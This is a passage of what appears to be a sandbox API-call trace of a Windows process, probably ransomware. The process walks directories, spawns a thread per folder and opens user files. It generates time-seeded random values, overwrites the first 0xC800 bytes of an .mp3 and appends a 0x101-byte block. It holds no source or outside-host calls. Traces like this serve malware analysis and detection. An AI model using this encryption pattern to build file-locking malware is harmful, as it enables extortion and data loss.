Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0147.738] wcscat (in: _Dest=0xd4b9df0, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\" [0147.738] wcscat (in: _Dest=0xd4b9df0, _Source="*" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*" [0147.738] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x911af0 [0147.738] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\*", lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x9427f0 [0147.738] wcscmp (_String1=".", _String2=".") returned 0 [0147.738] FindNextFileW (in: hFindFile=0x9427f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcb95720, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcb95720, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0147.738] wcscmp (_String1="..", _String2=".") returned 1 [0147.738] wcscmp (_String1="..", _String2="..") returned 0 [0147.738] FindNextFileW (in: hFindFile=0x9427f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 1 [0147.738] wcscmp (_String1="vcRuntimeMinimum_x86", _String2=".") returned 1 [0147.738] wcscmp (_String1="vcRuntimeMinimum_x86", _String2="..") returned 1 [0147.738] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xe2) returned 0xd4bbc38 [0147.738] wcscpy (in: _Dest=0xd4bbc38, _Source="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages" [0147.738] wcscat (in: _Dest=0xd4bbc38, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\" [0147.738] wcscat (in: _Dest=0xd4bbc38, _Source="vcRuntimeMinimum_x86" | out: _Dest="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86") returned="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86" [0150.387] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0xd4bbc38, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x13f4 [0150.388] FindNextFileW (in: hFindFile=0x9427f0, lpFindFileData=0x911af0 | out: lpFindFileData=0x911af0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeMinimum_x86", cAlternateFileName="VCRUNT~1")) returned 0 [0150.388] FindClose (in: hFindFile=0x9427f0 | out: hFindFile=0x9427f0) returned 1 [0150.389] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x911af0) returned 1 [0150.389] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4b9df0) returned 1 [0150.389] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd4c6140) returned 1 Thread: id = 2723 os_tid = 0x172c [0147.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt")) returned 0x20 [0147.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT", dwFileAttributes=0x20) returned 0 [0147.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_col.hxt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.739] GetLastError () returned 0x5 [0147.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_COL.HXT", dwFileAttributes=0x20) returned 0 [0147.740] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f7e78) returned 1 Thread: id = 2724 os_tid = 0x1730 [0147.740] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk")) returned 0x20 [0147.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK", dwFileAttributes=0x20) returned 0 [0147.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_f_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.741] GetLastError () returned 0x5 [0147.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_F_COL.HXK", dwFileAttributes=0x20) returned 0 [0147.741] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f75f8) returned 1 Thread: id = 2725 os_tid = 0x1734 [0147.742] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk")) returned 0x20 [0147.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK", dwFileAttributes=0x20) returned 0 [0147.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\graph_k_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0147.742] GetLastError () returned 0x5 [0147.742] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRAPH_K_COL.HXK", dwFileAttributes=0x20) returned 0 [0147.743] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f8340) returned 1 Thread: id = 2726 os_tid = 0x1738 [0147.743] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll")) returned 0x20 [0149.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL", dwFileAttributes=0x20) returned 0 [0149.413] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grintl32.dll.idx_dll"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.413] GetLastError () returned 0x5 [0149.413] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GRINTL32.DLL.IDX_DLL", dwFileAttributes=0x20) returned 0 [0149.413] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9ab7b8) returned 1 Thread: id = 2728 os_tid = 0x1740 [0147.745] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn")) returned 0x20 [0149.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn", dwFileAttributes=0x20) returned 0 [0149.411] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove starter template.xsn"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.411] GetLastError () returned 0x5 [0149.411] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\Groove Starter Template.xsn", dwFileAttributes=0x20) returned 0 [0149.411] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9acda8) returned 1 Thread: id = 2729 os_tid = 0x1744 [0147.746] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs")) returned 0x20 [0149.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS", dwFileAttributes=0x20) returned 0 [0149.415] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove.hxs"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.415] GetLastError () returned 0x5 [0149.415] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE.HXS", dwFileAttributes=0x20) returned 0 [0149.415] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x99d908) returned 1 Thread: id = 2731 os_tid = 0x174c [0147.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc")) returned 0x20 [0149.418] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC", dwFileAttributes=0x20) returned 0 [0149.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_col.hxc"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.419] GetLastError () returned 0x5 [0149.419] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_COL.HXC", dwFileAttributes=0x20) returned 0 [0149.419] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f83c8) returned 1 Thread: id = 2733 os_tid = 0x1754 [0147.747] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk")) returned 0x20 [0149.421] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK", dwFileAttributes=0x20) returned 0 [0149.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\groove_f_col.hxk"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0149.422] GetLastError () returned 0x5 [0149.422] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GROOVE_F_COL.HXK", dwFileAttributes=0x20) returned 0 [0149.422] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8018) returned 1 Thread: id = 2739 os_tid = 0x176c [0148.192] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x64) returned 0x8f17c8 [0148.192] wcscpy (in: _Dest=0x8f17c8, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" [0148.192] wcscat (in: _Dest=0x8f17c8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\" [0148.192] wcscat (in: _Dest=0x8f17c8, _Source="*" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*" [0148.192] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x250) returned 0x9b8f88 [0148.192] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\*", lpFindFileData=0x9b8f88 | out: lpFindFileData=0x9b8f88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x942c30 [0148.192] wcscmp (_String1=".", _String2=".") returned 0 [0148.192] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9b8f88 | out: lpFindFileData=0x9b8f88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0148.192] wcscmp (_String1="..", _String2=".") returned 1 [0148.192] wcscmp (_String1="..", _String2="..") returned 0 [0148.192] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9b8f88 | out: lpFindFileData=0x9b8f88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 1 [0148.193] wcscmp (_String1="ApplicationViewsRootNode", _String2=".") returned 1 [0148.193] wcscmp (_String1="ApplicationViewsRootNode", _String2="..") returned 1 [0148.193] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x92) returned 0x9ae7e8 [0148.193] wcscpy (in: _Dest=0x9ae7e8, _Source="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views" [0148.193] wcscat (in: _Dest=0x9ae7e8, _Source="\\" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\" [0148.193] wcscat (in: _Dest=0x9ae7e8, _Source="ApplicationViewsRootNode" | out: _Dest="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode") returned="C:\\Users\\All Users\\Microsoft\\Event Viewer\\Views\\ApplicationViewsRootNode" [0155.283] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x9ae7e8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1348 [0155.285] FindNextFileW (in: hFindFile=0x942c30, lpFindFileData=0x9b8f88 | out: lpFindFileData=0x9b8f88*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3235c810, ftCreationTime.dwHighDateTime=0x1d2fa9b, ftLastAccessTime.dwLowDateTime=0x3235c810, ftLastAccessTime.dwHighDateTime=0x1d2fa9b, ftLastWriteTime.dwLowDateTime=0x3235c810, ftLastWriteTime.dwHighDateTime=0x1d2fa9b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ApplicationViewsRootNode", cAlternateFileName="APPLIC~1")) returned 0 [0155.285] FindClose (in: hFindFile=0x942c30 | out: hFindFile=0x942c30) returned 1 [0155.285] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9b8f88) returned 1 [0155.285] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8f17c8) returned 1 [0155.285] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x90eef0) returned 1 Thread: id = 2740 os_tid = 0x1770 [0148.193] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\r8qw.mp3")) returned 0x20 [0148.194] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3", dwFileAttributes=0x20) returned 1 [0148.194] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\cIu6mK\\fIIk\\a1-M\\r8qw.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ciu6mk\\fiik\\a1-m\\r8qw.mp3"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1234 [0148.194] GetFileSizeEx (in: hFile=0x1234, lpFileSize=0x6cff8c4 | out: lpFileSize=0x6cff8c4*=87990) returned 1 [0148.194] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x157b2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.195] ReadFile (in: hFile=0x1234, lpBuffer=0x6cff848, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6cff844, lpOverlapped=0x0 | out: lpBuffer=0x6cff848*, lpNumberOfBytesRead=0x6cff844*=0x4, lpOverlapped=0x0) returned 1 [0148.196] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.196] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945550 [0148.196] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945960 [0148.196] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459d8 [0148.196] NtQuerySystemTime (in: CurrentTime=0x6cff824 | out: CurrentTime=0x6cff824*=132174899228014000) returned 0x0 [0148.196] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x798d8ae5 [0148.196] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x10ae3d08 [0148.196] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x573ddfc3 [0148.196] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x44771c5 [0148.196] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x77b8cf48 [0148.196] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x515186fd [0148.196] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x7094ec0f [0148.196] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x158766a6 [0148.196] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x3ee9c705 [0148.196] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x7e6698fe [0148.196] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x3b7d1013 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0xb653e87 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x19ff7ee3 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x16cdcf80 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x3640602e [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x788137f0 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x5f4c1d9 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x67c2c01f [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x7f6097fc [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x15be0bb6 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x3bf07649 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x7b3db944 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x6587428c [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x1fa1d9ad [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x6e4d6e34 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0xfcad3b6 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x603828a5 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0xb354ffa [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x32e19a44 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x3776ffbc [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x22bcfb46 [0148.197] RtlRandomEx (in: Seed=0x6cff830 | out: Seed=0x6cff830) returned 0x1eb5738e [0148.210] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.210] ReadFile (in: hFile=0x1234, lpBuffer=0xd5238a0, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x6cff804, lpOverlapped=0x0 | out: lpBuffer=0xd5238a0*, lpNumberOfBytesRead=0x6cff804*=0xc800, lpOverlapped=0x0) returned 1 [0148.211] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.211] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x40) returned 0x8d2860 [0148.211] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x70) returned 0x93c788 [0148.211] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945550 [0148.211] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945550) returned 1 [0148.212] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0xc800) returned 0x12c50048 [0148.221] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x945550 [0148.221] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9459d8 [0148.221] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9459d8) returned 1 [0148.221] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x93c788) returned 1 [0148.222] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2860) returned 1 [0148.222] WriteFile (in: hFile=0x1234, lpBuffer=0x12c50048*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x6cff804, lpOverlapped=0x0 | out: lpBuffer=0x12c50048*, lpNumberOfBytesWritten=0x6cff804*=0xc800, lpOverlapped=0x0) returned 1 [0148.223] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12c50048) returned 1 [0148.223] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd5238a0) returned 1 [0148.223] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x1d) returned 0x9459d8 [0148.224] SetFilePointerEx (in: hFile=0x1234, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0148.224] WriteFile (in: hFile=0x1234, lpBuffer=0x8fa890*, nNumberOfBytesToWrite=0x101, lpNumberOfBytesWritten=0x6cff884, lpOverlapped=0x0 | out: lpBuffer=0x8fa890*, lpNumberOfBytesWritten=0x6cff884*=0x101, lpOverlapped=0x0) returned 1 [0148.225] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8fa890) returned 1 [0148.225] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a50) returned 1 [0148.225] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945a78) returned 1 [0148.225] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9459d8) returned 1 [0148.225] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x945550) returned 1 [0148.225] RtlFreeHeap 